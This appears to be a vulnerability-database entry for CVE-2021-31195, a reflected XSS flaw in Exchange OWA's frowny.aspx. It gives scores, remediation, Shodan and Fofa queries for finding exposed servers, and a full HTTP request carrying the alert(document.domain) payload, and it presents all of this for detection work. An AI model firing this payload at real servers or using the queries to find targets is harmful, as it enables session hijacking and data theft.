🔙 목록으로 돌아가기

CVE-2021-31195: Microsoft Exchange Server - Cross-Site Scripting

TitleMicrosoft Exchange Server - Cross-Site Scripting
Authorinfosecsanyam
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
RemediationApply the latest security updates provided by Microsoft to mitigate this vulnerability.
CVSS Score6.5
EPSS Score0.84363
CVE IDCVE-2021-31195
CWE IDCWE-79
Shodan Queryhttp.title:"Outlook"http.favicon.hash:1768726119http.title:"outlook"cpe:"cpe:2.3:a:microsoft:exchange_server"
Fofa Querytitle="outlook"icon_hash=1768726119
Tags cve2021 cve microsoft exchange owa xss vuln

🔍 Vulnerability Description

Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.

🌐 HTTP Request

GET /owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31195.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31195.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A